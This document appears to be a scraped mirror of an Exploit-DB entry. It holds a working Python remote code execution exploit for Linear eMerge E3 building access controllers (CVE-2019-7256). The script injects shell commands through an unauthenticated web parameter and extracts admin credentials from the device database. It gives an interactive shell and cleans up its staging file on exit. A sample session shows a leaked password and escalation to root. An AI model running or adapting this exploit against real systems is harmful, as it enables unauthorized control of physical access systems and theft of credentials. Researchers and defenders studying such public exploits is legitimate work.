Linear eMerge E3 1.00-06 – Remote Code Execution - 体验盒子

作者： LiquidWorm
日期： 2019-11-13
类别：
webapps
平台：
hardware
来源：https://www.exploit-db.com/exploits/47649/
# Title: Linear eMerge E3 1.00-06 - Remote Code Execution
# Author: LiquidWorm
# Date: 2019-11-13
# Vendor Homepage: http://linear-solutions.com/nsc_family/e3-series/
# Software Link: http://linear-solutions.com/nsc_family/e3-series/
# Affected version: <=2.3.0a
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
# CVE: CVE-2019-7256

#!/usr/bin/env python
#
# Linear eMerge E3 Unauthenticated Command Injection Remote Root Exploit
# Affected version: <=1.00-06
# via card_scan_decoder.php
# CVE: CVE-2019-7256
# Advisory: https://applied-risk.com/resources/ar-2019-005
# Paper: https://applied-risk.com/resources/i-own-your-building-management-system
#
# By Gjoko 'LiquidWorm' Krstic
#
#########################################################################
# lqwrm@metalgear:~/stuff$ python emergeroot2.py 192.168.1.2
# Do you want me to try and get the web front-end credentials? (y/n) y
# ID='admin',Password='MakeLoveNotWar!'
#
# lighttpd@192.168.1.2:/spider/web/webroot$ id
# uid=1003(lighttpd) gid=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ cat /etc/version
# Software Version: 1.00.03
# Image: nxgcpub-image
# Built by: jenkins
#
# lighttpd@192.168.1.2:/spider/web/webroot$ echo davestyle |su -c id
# Password: 
# uid=0(root) gid=0(root) groups=0(root)
#
# lighttpd@192.168.1.2:/spider/web/webroot$ exit
#
# [+] Erasing read stage file and exiting...
# [+] Done. Ba-bye!
#
#########################################################################

import requests
import time####
import sys#####
import os######
import re######

piton = os.path.basename(sys.argv[0])

if len(sys.argv) < 2:
	print '''
 .....
.e$$$$$$$$$$$$$$e.
z$$ ^$$$$$$$$$$$$$$$$$. 
.$$$* J$$$$$$$$$$$$$$$$$$$e 
 .$".$$$$$$$$$$$$$$$$$$$$$$*- 
.$$$$$$$$$$$$$$$$$***$$.ee" 
 z**$$$$r ^**$$$$$$$$$*" .e$$$$$$*" 
" -\e$$4$$$$. .ze$$$""""
 4 z$$$$$$$$$$$$$$$$$$$$$$$$$"
 $$$$$$$$ .$$$$$$$$$$$**$$$$*"
 z$$"$$ $$$$P*"" J$*$$c 
$$"$$F .$$$$$ ^$$ 
 $$*$$c.z$$$$$ $$ 
$P$$$$$$$4$F 4$ 
 dP*$$$" $$'$r
.$J$" $"
$ $P 4$ 
F$$4$ 
4$%4$ 
$$ 4$ 
 d$" $$ 
 $P$$ 
$$ $$ 
 4$% $$ 
 $$$$ 
d$ $$ 
$F "3 
 r=4e=".....rf .""% 
$**$*"^""=..^4*=4=^""^"""
'''
	print '\n\x20\x20[+] Linear eMerge E3 Remote Root Exploit'
	print '\x20\x20[-] by lqwrm (c) 2019'
	print '\n\x20\x20[*] Usage: '+piton+' <ipaddress:port>\n'
	sys.exit()

ipaddr = sys.argv[1]

creds = raw_input('Do you want me to try and get the web front-end credentials? (y/n) ')
if creds.strip() == 'y':
frontend = '''grep "Controller" /tmp/SpiderDB/Spider.db |cut -f 5,6 -d ',' |grep ID'''
requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+frontend+' > test.txt%60')
showme = requests.get('http://'+ipaddr+'/test.txt')
print showme.text

while True:
	try:
		cmd = raw_input('lighttpd@'+ipaddr+':/spider/web/webroot$ ')
		execute = requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&door=%60'+cmd+' > test.txt%60')
		#time.sleep(1);
		readreq = requests.get('http://'+ipaddr+'/test.txt')
		print readreq.text
		if cmd.strip() == 'exit':
			print "[+] Erasing read stage file and exiting..."
			requests.get('http://'+ipaddr+'/card_scan_decoder.php?No=30&ReaderNo=%60rm test.txt%60')
			print "[+] Done. Ba-bye!\n"
			break
		else: continue
	except Exception:
		break

sys.exit()